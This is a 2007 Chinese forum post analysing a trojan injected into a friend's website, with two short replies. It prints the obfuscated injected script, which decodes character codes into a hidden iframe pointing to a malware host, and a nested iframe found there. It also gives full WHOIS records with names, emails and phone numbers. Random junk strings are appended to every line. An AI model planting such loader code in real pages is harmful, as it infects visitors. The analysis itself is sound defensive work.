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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, Q7N4@w;e  
OcQ_PE5\  
http://www.areway.cn/?p=175 6@]Xwq  
&A*oQ3  
{,]BqFXv  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: ^t*+hFEI  
          83412@&  
<script>t=’60,105,102,114,97,109,101, mB"zyL-  
32,115,114,99,61,104,116,116,112,58,47,47, bhOyx  
102,114,101,101,46,117,45,117,117,117,46,99, -E2[PW4$  
110,47,101,114,114,111,114,46,104,116,109, 7. G   
32,119,105,100,116,104,61,49,48,48,32,104, it&c ,+8  
101,105,103,104,116,61,48,62,60,47,105,102, cEsBKaN  
114,97,109,101,62′; V~Tjz%<  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> ' uo`-Y  
                                                                                                  w_KGn17  
<script>t=’60,105,102,114,97,109,101,32,115, q)G*"  
114,99,61,104,116,116,112,58,47,47,102,114, AU^Wy|i5Q  
101,101,46,117,45,117,117,117,46,99,110,47, SjtGU47$!  
101,114,114,111,114,46,104,116,109,32,119, @Sq=#f/=  
105,100,116,104,61,49,48,48,32,104,101,105, fX[,yc;  
103,104,116,61,48,62,60,47,105,102,114,97, ~_8Ve\Y^/  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); D4 {gt\V  
document.write(t);</script> @!0j)5%  
                                                                                                  qt^%jIv  
<html xmlns=” w?jmi~6  
http://www.w3.org/1999/xhtml 3[SN[faS  
“> nI2}E  
<head> v0"|J3  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> l>~:lBO  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> F#X\}MvEU  
<title>首页 - 爱生活家庭网 <Ks?g=K-  
                                                                                                                                                    gW/H#T,  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 :e+GtN?  
转换字符串后的大概内容是(谁点击后果自付): ^}/YGAA  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… B|:{.U@ne  
                                                                                                                                  '3+S5p8  
查询玉米u-uuu.cn的详细信息: B susXW$  
Domain Name: u-uuu.cn ,yV pB)IQ  
ROID: 20070901s10001s64972306-cn rt^z#2$  
Domain Status: ok /rv XCA)j  
Registrant Organization: 王雷 pxI*vgfN7  
Registrant Name: 王雷 mNb+V/*x3  
Administrative Email: czlovexs@126.com m+OR W"o  
Sponsoring Registrar: 北京万网志成科技有限公司 1 _5[5K^  
Name Server:ns.yovole.com Ql&P1|&  
Name Server:ns1.yovole.com <>j, Q  
Registration Date: 2007-09-01 17:54 *zX<`E  
Expiration Date: 2008-09-01 17:54 =_^g]?5i  
最后PING了一下地址 都没有什么…. ik8e  
                                                                                                `d OjCA_&  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. hp,T(D|  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> g:[&]o} :9  
<script language=”javascript” src=” 6O tv[8^}  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script }ZVNDvGH  
> sv0kksj  
这个玉米应该有可能是木马作者的: e% 5!  
foafau.info的详细信息: zh/+1  
Access to INFO WHOIS information is provided to assist persons in >W-e0kkH  
determining the contents of a domain name registration record in the a#uJzYB0  
Afilias registry database. The data in this record is provided by Jc:G7}j6  
Afilias Limited for informational purposes only, and Afilias does not }}_WZ},h  
guarantee its accuracy.  This service is intended only for query-based "hy#L 0\t  
access. You agree that you will use this data only for lawful purposes Z :Kob b  
and that, under no circumstances will you use this data to: (a) allow, Ho \+xX  
enable, or otherwise support the transmission by e-mail, telephone, or KJ9~"v  
facsimile of mass unsolicited, commercial advertising or solicitations QQ!,W':  
to entities other than the data recipient’s own existing customers; or E"L'm0i[[  
(b) enable high volume, automated, electronic processes that send @F3d9t-  
queries or data to the systems of Registry Operator, a Registrar, or }\gpO0Ox  
Afilias except as reasonably necessary to register domain names or X='4 N<  
modify existing registrations. All rights reserved. Afilias reserves )9<)mV*EB(  
the right to modify these terms at any time. By submitting this query, <n6/np!  
you agree to abide by this policy. xUSIck  
Domain ID:D22418703-LRMS rzl2Oj"4  
Domain Name:FOAFAU.INFO uk\GAm@O  
Created On:20-Nov-2007 16:05:42 UTC ~4\bR  
Last Updated On:20-Nov-2007 16:05:44 UTC )%MB o.NL  
Expiration Date:20-Nov-2008 16:05:42 UTC GbL,k? ey  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) 8=2)I.   
Status:CLIENT DELETE PROHIBITED D~mGv1t"  
Status:CLIENT RENEW PROHIBITED SR43#!99Q  
Status:CLIENT TRANSFER PROHIBITED mS%D" e  
Status:CLIENT UPDATE PROHIBITED ")sq?1?X  
Status:TRANSFER PROHIBITED ^ )+tn  
Registrant ID:GODA-040110615 / 5=A#G  
Registrant Name:liu hong IF1?/D"<  
Registrant Organization: .5I1wRN49  
Registrant Street1:beijing a\%g_Q){  
Registrant Street2: 0e}L Z,9e  
Registrant Street3: Xt7uCs  
Registrant City:beijing D!@c,H  
Registrant State/Province: !MGQ+bD6  
Registrant Postal Code:100000 %*s[s0$c  
Registrant Country:CN M~"K@g=Wr  
Registrant Phone:+86.860108888777 xknP `T  
Registrant Phone Ext.: =E,*8O]  
Registrant FAX: sX**'cH  
Registrant FAX Ext.: T %cN(0 @  
Registrant Email:bbbshiji@163.com Zd5fr c$  
Admin ID:GODA-240110615 9^aMmN&6N2  
Admin Name:liu hong s\ ~r 8  
Admin Organization: "C0oFRk  
Admin Street1:beijing ^c!Hur6)  
Admin Street2: |~Z+Xl a  
Admin Street3: E8V,".!+E  
Admin City:beijing g!K(xh EO  
Admin State/Province: SYC_=X  
Admin Postal Code:100000 + 1cK (Si  
Admin Country:CN $)\ocsO  
Admin Phone:+86.860108888777 :ox+WY  
Admin Phone Ext.: aIm\tPbb  
Admin FAX: 2?m'Dy'JE  
Admin FAX Ext.: 3N<FG.6  
Admin Email:bbbshiji@163.com QU\|RX   
Billing ID:GODA-340110615 ?5+=  
Billing Name:liu hong M/#<=XhA  
Billing Organization: >Ks|yNJ  
Billing Street1:beijing eR;cl$  
Billing Street2: .=K@M"5&  
Billing Street3: FfP Ce5)  
Billing City:beijing ^Ji5)c  
Billing State/Province: XRaq\a`=:  
Billing Postal Code:100000 #5'9T:8  
Billing Country:CN { \Q'eL8  
Billing Phone:+86.860108888777 'KXvn0  
Billing Phone Ext.: P/0n) Q  
Billing FAX: n*'|7#;  
Billing FAX Ext.: 2AU_<Hr6  
Billing Email:bbbshiji@163.com yyBy|7QgO  
Tech ID:GODA-140110615 fpzC#  
Tech Name:liu hong Rb\\6 BU0  
Tech Organization: Q;`#ujxL  
Tech Street1:beijing 0h$23.  
Tech Street2: $7lI Dt  
Tech Street3: bl:.D~@  
Tech City:beijing ]JtK)9  
Tech State/Province: uE+]]ir  
Tech Postal Code:100000 Joe k4t&0<  
Tech Country:CN 5H>[@_u+:  
Tech Phone:+86.860108888777 l*/I ; a$  
Tech Phone Ext.: @@_f''f$  
Tech FAX: @Vc*JEW  
Tech FAX Ext.: H}X3nl\]  
Tech Email:bbbshiji@163.com {bl^O  
Name Server:NS27.DOMAINCONTROL.COM q]<cn2  
Name Server:NS28.DOMAINCONTROL.COM R~;<}!Gtx  
Name Server: $c[8-=  
Name Server: n|3ENN  
Name Server: FhS:.  
Name Server: !SEg4z  
Name Server: MyAi)Mz~o  
Name Server: h_Q9 c  
Name Server: *N<~"D  
Name Server: X> =`{JS1  
Name Server: b=`h""u  
Name Server: EO3?Dev  
Name Server: &+d>xy\^/  
                                                                                                          U c$RYPq  
接着下载每个文件里面的代码: Z6A*9m  
一步一步看.. R/xeC [r  
tLJ"] D1w  
X^eTf-*T  
y2 yW91B,  
=gw 'MA  
@|idlIey  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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